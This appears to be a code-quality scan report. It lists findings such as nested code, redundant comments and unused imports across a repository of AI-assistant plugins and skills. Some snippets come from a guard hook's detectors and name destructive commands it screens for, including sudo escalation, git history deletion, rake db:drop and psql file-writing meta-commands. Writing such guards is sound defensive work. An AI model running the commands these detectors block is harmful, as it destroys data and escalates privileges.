MEDIUMplugins/all-hooks/hooks/no-vibes.md108This hook is the minimal reference implementation of `evidence_claims` / `no-vibes`, the strongest empirically-validatedCODE
MEDIUM…/commands-framework-svelte/commands/svelte-scaffold.md6# /svelte-scaffoldCOMMENT
MEDIUMplugins/nextjs-expert/README.md78### /nextjs-expert:scaffoldCOMMENT
MEDIUMplugins/all-commands/commands/svelte-scaffold.md6# /svelte-scaffoldCOMMENT
MEDIUMplugins/all-commands/commands/remove.md257# .orchestration-audit.yamlCOMMENT
MEDIUMplugins/claude-ops/skills/ops-orchestrate/SKILL.md282### 2e. Tag orchestration mode (hybrid only)COMMENT
MEDIUM…gins/all-skills/skills/rag-evaluation-harness/SKILL.md7# RAG Evaluation HarnessCOMMENT
MEDIUM…te/skills/production-fast-api-template/API_SECURITY.md335### 4.4 RAG access controlCOMMENT
MEDIUM…te/skills/production-fast-api-template/API_SECURITY.md616## 9. RAG securityCOMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md64## 1. What guardrails are, and what they aren'tCOMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md163# ⚪ Illustrative content for src/guardrails/schemas.pyCOMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md229## 5. The in-app guardrail layer (`src/guardrails/`)COMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md234# ⚪ Illustrative content for src/guardrails/service.pyCOMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md272# ⚪ Illustrative content for src/guardrails/config.pyCOMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md364# ⚪ Illustrative content for src/providers/guardrails/guardrails_ai.py (library adoption is 🟡)COMMENT
MEDIUM…late/skills/production-fast-api-template/GUARDRAILS.md393- **Install validators as pinned PyPI packages** (for example `guardrails-ai-regex-match`) and import them from `guardraCODE
MEDIUM…e/skills/production-fast-api-template/AI_EVALUATION.md486### 2.2 RAG metricsCOMMENT
MEDIUM…e/skills/production-fast-api-template/AI_EVALUATION.md639### 3.2 RAG metrics (collections, 0.4.3)COMMENT
MEDIUM…e/skills/production-fast-api-template/AI_EVALUATION.md754## 4. RAG evaluation methodologyCOMMENT
MEDIUM…e/skills/production-fast-api-template/AI_EVALUATION.md835### 4.8 Custom rubrics for RAG [CUSTOM]COMMENT
MEDIUM…skills/production-fast-api-template/ASYNC_EXECUTION.md229## 4. Synchronous RAG executionCOMMENT
MEDIUM…-template/skills/production-fast-api-template/SKILL.md70│ │ └── router.py # aggregates domain, RAG and agent routersCODE
MEDIUM⚡…-template/skills/production-fast-api-template/SKILL.md99│ │ ├── schemas.py # RAG API schemas + cross-stage contracts (RetrievedEvidence)CODE
MEDIUM⚡…-template/skills/production-fast-api-template/SKILL.md100│ │ ├── service.py # container/lifecycle of long-lived RAG servicesCODE
MEDIUM⚡…-template/skills/production-fast-api-template/SKILL.md102│ │ ├── config.py # RAG settings (RAG_ prefix)CODE
MEDIUM…-template/skills/production-fast-api-template/SKILL.md193│ ├── llm/ # shared by RAG and agentsCODE
MEDIUM…-template/skills/production-fast-api-template/SKILL.md208│ ├── guardrails/ # shared content-safety layer, used by RAG, agents and workersCODE
MEDIUM…-template/skills/production-fast-api-template/SKILL.md217│ ├── providers/ # external-service boundaries (MCP, vector DB, queues, Lambda, guardrails, …)CODE
MEDIUM…-template/skills/production-fast-api-template/SKILL.md376## 4. RAG naming conventions 🟢COMMENT
MEDIUM…lls/production-fast-api-template/PYDANTIC_STANDARDS.md557### How it fits the async RAG pipelineCOMMENT
MEDIUM…lls/production-fast-api-template/PYDANTIC_STANDARDS.md566## 7. RAG structured outputs (illustrative schemas)COMMENT
MEDIUM⚡…ce/skills/hard-predict-future/scripts/signal_scorer.py34# Maps common Claude hallucination variants → canonical valuesCOMMENT
MEDIUMplugins/ag2-agent-builder/agents/ag2-prompt-engineer.md52### 5. Orchestration Context (WHEN -- for multi-agent only)COMMENT
MEDIUM…ins/commands-workflow-orchestration/commands/remove.md257# .orchestration-audit.yamlCOMMENT
Deep Nesting118 hits · 98 pts
SeverityFileLineSnippetContext
LOW…skills/skills/atlas-cloud-media/scripts/atlas_media.py324CODE
LOWplugins/all-skills/skills/xlsx/recalc.py53CODE
LOW…/all-skills/skills/pdf/scripts/fill_fillable_fields.py12CODE
LOW…/all-skills/skills/pdf/scripts/fill_fillable_fields.py59CODE
LOW…l-skills/skills/pdf/scripts/extract_form_field_info.py22CODE
LOW…l-skills/skills/pdf/scripts/extract_form_field_info.py62CODE
LOW…/all-skills/skills/pdf/scripts/check_bounding_boxes.py18CODE
LOW…l-skills/skills/skill-creator/scripts/package_skill.py19CODE
LOW…ios-hig-design-guide/scripts/sync_apple_hig_sources.py61CODE
LOW…ios-hig-design-guide/scripts/sync_apple_hig_sources.py79CODE
LOWplugins/all-skills/skills/pptx/ooxml/scripts/pack.py45CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py72CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py124CODE
LOW…ills/skills/pptx/ooxml/scripts/validation/redlining.py139CODE
LOW…ills/skills/pptx/ooxml/scripts/validation/redlining.py217CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py77CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py128CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py243CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py186CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py277CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py388CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py486CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py522CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py688CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py765CODE
LOWplugins/all-skills/skills/pptx/scripts/thumbnail.py67CODE
LOWplugins/all-skills/skills/pptx/scripts/thumbnail.py321CODE
LOWplugins/all-skills/skills/pptx/scripts/rearrange.py149CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py140CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py280CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py362CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py480CODE
LOWplugins/all-skills/skills/pptx/scripts/replace.py143CODE
LOWplugins/all-skills/skills/pptx/scripts/replace.py162CODE
LOWplugins/all-skills/skills/pptx/scripts/replace.py214CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py197CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py294CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py388CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py591CODE
LOW…ecommerce-material-studio/scripts/delivery_packager.py131CODE
LOW…ecommerce-material-studio/scripts/delivery_packager.py292CODE
LOW…ecommerce-material-studio/scripts/delivery_packager.py512CODE
LOW…/ecommerce-material-studio/scripts/platform_adapter.py105CODE
LOW…/ecommerce-material-studio/scripts/platform_adapter.py335CODE
LOW…erce-material-studio/scripts/scene_aware_compositor.py1217CODE
LOW…ecommerce-material-studio/scripts/category_detector.py495CODE
LOW…ecommerce-material-studio/scripts/category_detector.py519CODE
LOW…lls/ecommerce-material-studio/scripts/quality_check.py234CODE
LOW…lls/ecommerce-material-studio/scripts/quality_check.py324CODE
LOW…lls/ecommerce-material-studio/scripts/quality_check.py380CODE
LOW…ecommerce-material-studio/scripts/preference_memory.py133CODE
LOW…ecommerce-material-studio/scripts/preference_memory.py332CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py953CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py308CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py429CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py713CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py779CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py811CODE
LOW…ills/ecommerce-material-studio/scripts/brand_loader.py240CODE
LOW…ills/ecommerce-material-studio/scripts/brand_loader.py287CODE
58 more matches not shown…
Over-Commented Block92 hits · 92 pts
SeverityFileLineSnippetContext
LOWplugins/project-boundary/hooks/guard.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/guard.sh61# shellcheck source=lib/remote_dispatch.shCOMMENT
LOWplugins/project-boundary/hooks/guard.sh101COMMENT
LOWplugins/project-boundary/hooks/guard.sh121# never legitimate POSIX paths, so the fail-closed branch is theCOMMENT
LOWplugins/project-boundary/hooks/guard.sh161# in-project-looking path that passes is_inside_project.COMMENT
LOWplugins/project-boundary/hooks/guard.sh401 # `-u root` would mis-identify the verb in the subcmd-flag scan.COMMENT
LOWplugins/project-boundary/hooks/guard.sh421 # catches clustered (`sudo -ni`, `-in`, `-nis`), quoted (`sudo "-i"`),COMMENT
LOWplugins/project-boundary/hooks/guard.sh441 # blank_quoted_heredoc_bodies is computed from this raw copy.COMMENT
LOWplugins/project-boundary/hooks/guard.sh461 # (e.g. by stripping the ssh wrapper). Codex round-5 finding #3.COMMENT
LOWplugins/project-boundary/hooks/guard.sh481 # CMD_EXPAND_SCAN — the alias-escape pass that strips `\` before aCOMMENT
LOWplugins/project-boundary/hooks/guard.sh521 block_interpreter_inline_codeCOMMENT
LOWplugins/project-boundary/hooks/guard.sh541 CMD=$(rewrite_remote_dispatch "$CMD")COMMENT
LOWplugins/project-boundary/hooks/lib/git_walkers.sh1# shellcheck shell=bashCOMMENT
LOWplugins/project-boundary/hooks/lib/wrapper_opts.sh1# shellcheck shell=bashCOMMENT
LOW…ns/project-boundary/hooks/lib/cd_destructive_walker.sh1# shellcheck shell=bashCOMMENT
LOW…ns/project-boundary/hooks/lib/cd_destructive_walker.sh21# branch -D / reflog expire) plus rails/rake db:drop|reset.COMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh21# police those.COMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh41# because the `-v src:dst` / `--volume` / `--mount type=bind,…`COMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh81COMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh221# Flags are dropped (they cannot be local file targets in any of theCOMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh241 # flags relevant to the path-walker bypass (`-a/--archive`,COMMENT
LOWplugins/project-boundary/hooks/lib/remote_dispatch.sh261 # and must not false-positive). A local DESTINATION is preservedCOMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh61# --- Strip /bin/, /sbin/, /usr/bin/, /usr/sbin/, /usr/local/bin/, ---COMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh81# /bin/env / /usr/bin/env) advance one position; the next iterationCOMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh221 fiCOMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh361# to inspect. Recognised shapes:COMMENT
LOWplugins/project-boundary/hooks/lib/command_name.sh461 -[A-Za-z]*)COMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh1# shellcheck shell=bashCOMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh21# Uses tokenize-with-redirects + heredoc-blanked parallelCOMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh41 # the post-wrapper name), or a remote-dispatch verb where theCOMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh81# `trap CMD SIG` registers CMD as a shell handler that fires on theCOMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh121 && [ "$trap_first_pos_set" -eq 1 ] \COMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh141 # walkers without a verb gate false-positive on text-as-arg casesCOMMENT
LOW…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh221}COMMENT
LOWplugins/project-boundary/hooks/lib/tokenize.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/options.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/options.sh21# bodies are blanked first viaCOMMENT
LOWplugins/project-boundary/hooks/lib/options.sh81 fiCOMMENT
LOWplugins/project-boundary/hooks/lib/options.sh141}COMMENT
LOWplugins/project-boundary/hooks/lib/subcmd_flags.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/subcmd_flags.sh21# diff.external / mergetool.<tool>.cmdCOMMENT
LOWplugins/project-boundary/hooks/lib/subcmd_flags.sh41# split_and_check has split the chained command line on `;` / `&&`COMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh61 # leave the caller inside the allowlisted dir.COMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh141 # resolve to the actual home, but the result is NEVER insideCOMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh221#COMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh261 return 0COMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh281# on. Callers that KNOW they are writing a target (redirectCOMMENT
LOWplugins/project-boundary/hooks/lib/paths.sh301 # /proc/self (symlink to /proc/<pid>) canonicalises both to theCOMMENT
LOWplugins/project-boundary/hooks/lib/heredoc.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/heredoc.sh21# $(...) in such a body are therefore literal bytes written to stdin,COMMENT
LOWplugins/project-boundary/hooks/lib/heredoc.sh161 qi=$((qi+1))COMMENT
LOWplugins/project-boundary/hooks/lib/expansion_blocks.sh1# shellcheck shell=bashCOMMENT
LOW…gins/project-boundary/hooks/lib/detectors/redirects.sh1#!/bin/bashCOMMENT
LOW…gins/project-boundary/hooks/lib/detectors/redirects.sh61 fiCOMMENT
LOW…gins/project-boundary/hooks/lib/detectors/redirects.sh141COMMENT
LOWplugins/project-boundary/hooks/lib/detectors/db_dump.sh1#!/bin/bashCOMMENT
LOWplugins/project-boundary/hooks/lib/detectors/db_dump.sh61 # meta-commands (\o, \g, \gx, \w, \s, \copy, \!) that writeCOMMENT
32 more matches not shown…
Redundant / Tautological Comments43 hits · 74 pts
SeverityFileLineSnippetContext
LOWplugins/project-boundary/hooks/guard.sh325# Check if the effective working directory is outside the projectCOMMENT
LOW…ns/project-boundary/hooks/lib/detectors/destructive.sh20 # Check if xargs is followed by a dangerous commandCOMMENT
LOWplugins/all-skills/skills/xlsx/recalc.py82 # Check if gtimeout is available on macOSCOMMENT
LOW…/all-skills/skills/skill-creator/scripts/init_skill.py208 # Check if directory already existsCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py90 # Check if text starts or ends with whitespaceCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py92 # Check if xml:space="preserve" attribute existsCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py94 # Check if this is an ID attributeCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py97 # Check if value looks like a UUID (has the right length and pattern structure)COMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py125 # Check if it's 32 hex-like characters (could include invalid hex chars)COMMENT
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py449 # Check if the ID existsCOMMENT
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py456 # Check if we have type expectations for this elementCOMMENT
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py463 # Check if the actual type matches or contains the expected typeCOMMENT
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py759 # Check if file is in a main content folder and use appropriate schemaCOMMENT
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py776 # Check if attribute is from a namespace other than allowed onesCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py212 # Check if this element type has ID uniqueness requirementsCOMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py503 # Check if this might be a compound like "sldMasterId"COMMENT
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py619 # Check if it's a known media extension that should be declaredCOMMENT
LOWplugins/all-skills/skills/pptx/scripts/inventory.py873 # Check if there's meaningful overlap (more than tolerance)COMMENT
LOWplugins/all-skills/skills/pptx/scripts/replace.py173 # Check if slide existsCOMMENT
LOWplugins/all-skills/skills/pptx/scripts/replace.py306 # Check if any text overflow got worseCOMMENT
LOW…all-skills/skills/slack-gif-creator/core/validators.py103 # Check if roughly square (within 2:1 ratio)COMMENT
LOW⚡…ills/skills/artifacts-builder/scripts/init-artifact.sh33# Check if pnpm is installedCOMMENT
LOW⚡…ills/skills/artifacts-builder/scripts/init-artifact.sh39# Check if project name is providedCOMMENT
LOW⚡…ills/skills/artifacts-builder/scripts/init-artifact.sh49# Check if components tarball existsCOMMENT
LOW…ls/skills/artifacts-builder/scripts/bundle-artifact.sh6# Check if we're in a project directoryCOMMENT
LOW…ls/skills/artifacts-builder/scripts/bundle-artifact.sh12# Check if index.html existsCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/docx.py90 # Check if text starts or ends with whitespaceCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/docx.py92 # Check if xml:space="preserve" attribute existsCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/pptx.py94 # Check if this is an ID attributeCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/pptx.py97 # Check if value looks like a UUID (has the right length and pattern structure)COMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/pptx.py125 # Check if it's 32 hex-like characters (could include invalid hex chars)COMMENT
LOW⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py449 # Check if the ID existsCOMMENT
LOW⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py456 # Check if we have type expectations for this elementCOMMENT
LOW⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py463 # Check if the actual type matches or contains the expected typeCOMMENT
LOW⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py759 # Check if file is in a main content folder and use appropriate schemaCOMMENT
LOW⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py776 # Check if attribute is from a namespace other than allowed onesCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/base.py212 # Check if this element type has ID uniqueness requirementsCOMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/base.py503 # Check if this might be a compound like "sldMasterId"COMMENT
LOW…ll-skills/skills/docx/ooxml/scripts/validation/base.py619 # Check if it's a known media extension that should be declaredCOMMENT
LOWplugins/all-skills/skills/docx/scripts/document.py539 # Check if it's a numbered list itemCOMMENT
LOWplugins/all-skills/skills/docx/scripts/document.py1055 # Check if this rsid already existsCOMMENT
LOWplugins/all-skills/skills/docx/scripts/document.py1192 # Check if author already existsCOMMENT
LOW.github/workflows/validate-subagents.yml50 # Check if any agent files have mismatched namesCOMMENT
Unused Imports69 hits · 64 pts
SeverityFileLineSnippetContext
LOWplugins/tlsradar/scripts/dns_provider.py43CODE
LOW…s/skills/project-milestone-tracker/scripts/pm_track.py17CODE
LOW…l-skills/skills/voice-persona/scripts/voice_persona.py22CODE
LOW…l-skills/skills/voice-persona/scripts/voice_persona.py22CODE
LOW…ugins/all-skills/skills/x-research/scripts/x_client.py4CODE
LOW…ugins/all-skills/skills/x-research/scripts/x_client.py10CODE
LOW…skills/skills/atlas-cloud-media/scripts/atlas_media.py4CODE
LOW…s/all-skills/skills/muapi-media/scripts/muapi_media.py4CODE
LOW…-skills/skills/skill-creator/scripts/quick_validate.py7CODE
LOW…ios-hig-design-guide/scripts/sync_apple_hig_sources.py4CODE
LOW…kills/skills/pptx/ooxml/scripts/validation/__init__.py5CODE
LOW…kills/skills/pptx/ooxml/scripts/validation/__init__.py6CODE
LOW…kills/skills/pptx/ooxml/scripts/validation/__init__.py7CODE
LOW…kills/skills/pptx/ooxml/scripts/validation/__init__.py8CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py68CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py68CODE
LOW…ecommerce-material-studio/scripts/delivery_packager.py36CODE
LOW…/ecommerce-material-studio/scripts/platform_adapter.py27CODE
LOW…lls/ecommerce-material-studio/scripts/style_matcher.py26CODE
LOW…lls/ecommerce-material-studio/scripts/style_matcher.py27CODE
LOW…ecommerce-material-studio/scripts/category_detector.py26CODE
LOW…ecommerce-material-studio/scripts/category_detector.py30CODE
LOW…lls/ecommerce-material-studio/scripts/quality_check.py32CODE
LOW…lls/ecommerce-material-studio/scripts/quality_check.py35CODE
LOW…ecommerce-material-studio/scripts/preference_memory.py37CODE
LOW…ecommerce-material-studio/scripts/preference_memory.py42CODE
LOW…ecommerce-material-studio/scripts/preference_memory.py42CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py20CODE
LOW…lls/ecommerce-material-studio/scripts/layout_engine.py31CODE
LOW…ills/ecommerce-material-studio/scripts/brand_loader.py25CODE
LOW…kills/ecommerce-material-studio/scripts/text_engine.py42CODE
LOW…kills/ecommerce-material-studio/scripts/text_engine.py43CODE
LOW…kills/ecommerce-material-studio/scripts/text_engine.py46CODE
LOW…kills/ecommerce-material-studio/scripts/text_engine.py48CODE
LOW…lls/browser-extension-launch/scripts/release_bundle.py9CODE
LOW…all-skills/skills/slack-gif-creator/core/typography.py10CODE
LOW…ll-skills/skills/slack-gif-creator/core/gif_builder.py10CODE
LOW…skills/skills/slack-gif-creator/core/color_palettes.py9CODE
LOW…ll-skills/skills/slack-gif-creator/templates/wiggle.py17CODE
LOW…/all-skills/skills/slack-gif-creator/templates/spin.py16CODE
LOW…all-skills/skills/slack-gif-creator/templates/morph.py14CODE
LOW…ll-skills/skills/slack-gif-creator/templates/bounce.py16CODE
LOW…l-skills/skills/slack-gif-creator/templates/explode.py16CODE
LOW…/all-skills/skills/slack-gif-creator/templates/move.py212CODE
LOW…/all-skills/skills/slack-gif-creator/templates/fade.py13CODE
LOWplugins/all-skills/skills/doc-ocr/scripts/dococr.py23CODE
LOWplugins/all-skills/skills/video-to-text/scripts/vtt.py20CODE
LOWplugins/all-skills/skills/video-to-text/scripts/vtt.py20CODE
LOW…-skills/skills/gsc-seo-optimizer/scripts/import_gsc.py9CODE
LOW…kills/skills/docx/ooxml/scripts/validation/__init__.py5CODE
LOW…kills/skills/docx/ooxml/scripts/validation/__init__.py6CODE
LOW…kills/skills/docx/ooxml/scripts/validation/__init__.py7CODE
LOW…kills/skills/docx/ooxml/scripts/validation/__init__.py8CODE
LOW…-claude-eyes/skills/qwen-vision/scripts/qwen_bridge.py18CODE
LOW…kills/hard-predict-future/scripts/decision_guidance.py11CODE
LOW…kills/hard-predict-future/scripts/decision_guidance.py15CODE
LOW…skills/hard-predict-future/scripts/report_formatter.py21CODE
LOW…skills/hard-predict-future/scripts/report_formatter.py29CODE
LOW…ce/skills/hard-predict-future/scripts/signal_scorer.py14CODE
LOW…ce/skills/hard-predict-future/scripts/signal_scorer.py18CODE
9 more matches not shown…
Self-Referential Comments13 hits · 40 pts
SeverityFileLineSnippetContext
MEDIUM…l-skills/skills/skill-creator/scripts/package_skill.py66 # Create the zip fileCOMMENT
MEDIUM⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py767 # Create a clean copyCOMMENT
MEDIUM…ll-skills/skills/pptx/ooxml/scripts/validation/base.py919 # Create a copy of the document to avoid modifying the originalCOMMENT
MEDIUM…ll-skills/skills/pptx/ooxml/scripts/validation/base.py298 ): # This file is not referenced by .relsCODE
MEDIUMplugins/all-skills/skills/pptx/scripts/thumbnail.py401 # Create a highlight overlayCOMMENT
MEDIUMplugins/all-skills/skills/pptx/scripts/rearrange.py108 # Create a new relationship in the destination slide for this imageCOMMENT
MEDIUM…all-skills/skills/slack-gif-creator/core/typography.py248 # Create a separate layer for the box with alphaCOMMENT
MEDIUM…ll-skills/skills/slack-gif-creator/core/gif_builder.py70 # Create a global palette from all framesCOMMENT
MEDIUM…ll-skills/skills/slack-gif-creator/core/gif_builder.py80 # Create a properly-shaped RGB image from the pixel dataCOMMENT
MEDIUM⚡…ll-skills/skills/docx/ooxml/scripts/validation/base.py767 # Create a clean copyCOMMENT
MEDIUM…ll-skills/skills/docx/ooxml/scripts/validation/base.py919 # Create a copy of the document to avoid modifying the originalCOMMENT
MEDIUM…ll-skills/skills/docx/ooxml/scripts/validation/base.py298 ): # This file is not referenced by .relsCODE
MEDIUMplugins/all-skills/skills/docx/scripts/document.py984 # Create the relationship entryCOMMENT
Docstring Block Structure8 hits · 40 pts
SeverityFileLineSnippetContext
HIGH…ills/ecommerce-material-studio/scripts/brand_loader.py153 加载品牌配置 Args: brand_name: 品牌名称(不区分大小写,如 "langke", "朗科") Returns: BrandConfig 对象 RaiseSTRING
HIGH…ills/skills/mcp-builder/reference/python_mcp_server.md308 Search for users in the Example system by name, email, or team. This tool searches across all user profiles inSTRING
HIGHplugins/all-skills/skills/docx/scripts/document.py265Reject an insertion by wrapping its content in a deletion. Wraps all runs inside w:ins in w:del, converting w:tSTRING
HIGHplugins/all-skills/skills/docx/scripts/document.py343Reject a deletion by re-inserting the deleted content. Creates w:ins elements after each w:del, copying deletedSTRING
HIGHplugins/all-skills/skills/docx/scripts/document.py483Mark a w:r or w:p element as deleted with tracked changes (in-place DOM manipulation). For w:r: wraps in <w:delSTRING
HIGHplugins/all-skills/skills/docx/scripts/document.py681 Get or create a DocxXMLEditor for the specified XML file. Enables lazy-loaded editors with bracket notSTRING
HIGHplugins/all-skills/skills/docx/scripts/utilities.py83 Get a DOM element by tag and identifier. Finds an element by either its line number in the original fiSTRING
HIGHplugins/all-skills/skills/docx/scripts/utilities.py313 Parse XML fragment and return list of imported nodes. Args: xml_content: String containingSTRING
Verbosity Indicators23 hits · 35 pts
SeverityFileLineSnippetContext
LOWplugins/all-skills/skills/pptx/scripts/rearrange.py176 # Step 1: DUPLICATE repeated slidesCOMMENT
LOW⚡plugins/all-skills/skills/pptx/scripts/rearrange.py200 # Step 2: DELETE unwanted slides (work backwards)COMMENT
LOW⚡plugins/all-skills/skills/pptx/scripts/rearrange.py209 # Step 3: REORDER to final sequenceCOMMENT
LOW⚡…s/ecommerce-material-studio/scripts/batch_processor.py251 # Step 2: 风格匹配COMMENT
LOW…s/ecommerce-material-studio/scripts/batch_processor.py222 # Step 1: 品类识别(如果用户未指定品类)COMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py225 # Step 1: 比例计算COMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py234 # Step 2: 获取位置策略COMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py249 # Step 3: 计算product_bboxCOMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py254 # Step 4: 计算text_zonesCOMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py259 # Step 5: 计算brand_zonesCOMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py262 # Step 6: 场景色调COMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py265 # Step 7: 生成空间约束prompt(含参照物描述)COMMENT
LOW⚡…lls/ecommerce-material-studio/scripts/layout_engine.py268 # Step 8: 冲突检测与修正COMMENT
LOW…e/skills/cap-table-waterfall/scripts/waterfall_calc.py42 # Step 1: Return of capital to preferred (1× of invested)COMMENT
LOW…e/skills/cap-table-waterfall/scripts/waterfall_calc.py53 # Step 2: Remaining splitCOMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts92 // Step 1: Create or get the local marketplaceCOMMENT
LOW⚡web-ui/app/api/admin/migrate-plugins/route.ts125 // Step 2: Read registry.jsonCOMMENT
LOW⚡web-ui/app/api/admin/migrate-plugins/route.ts134 // Step 3: Migrate subagentsCOMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts174 // Step 4: Migrate commandsCOMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts214 // Step 5: Migrate hooksCOMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts254 // Step 6: Migrate skills from file systemCOMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts281 // Step 7: Migrate external plugins (if any)COMMENT
LOWweb-ui/app/api/admin/migrate-plugins/route.ts354 // Step 8: Update marketplace plugin countsCOMMENT
Magic Placeholder Names7 hits · 35 pts
SeverityFileLineSnippetContext
HIGH…-superpowers/skills/surveys/references/tally-survey.md50 claude mcp add --transport http tally https://api.tally.so/mcp --header "Authorization: Bearer YOUR_API_KEY"CODE
HIGH…-superpowers/skills/surveys/references/tally-survey.md52 Replace `YOUR_API_KEY` with the key you just copied.CODE
HIGHplugins/claude-ops/skills/setup/SKILL.md1974 "client_secret": "GOCSPX-<YOUR_SECRET>",CODE
HIGHplugins/claude-ops/skills/ops-gtm/SKILL.md339- **Rule 0 — public repo**: every example above uses `your-project`, `you@example.com`, `<YOUR_TOKEN>`. Never save user-CODE
HIGHplugins/all-skills/skills/atlas-cloud-media/SKILL.md27export ATLASCLOUD_API_KEY="your-api-key"CODE
HIGHplugins/all-skills/skills/muapi-media/SKILL.md31export MUAPI_API_KEY="your-api-key"CODE
HIGH…/all-skills/skills/mcp-builder/reference/evaluation.md557export ANTHROPIC_API_KEY=your_api_keyCODE
Fake / Example Data31 hits · 30 pts
SeverityFileLineSnippetContext
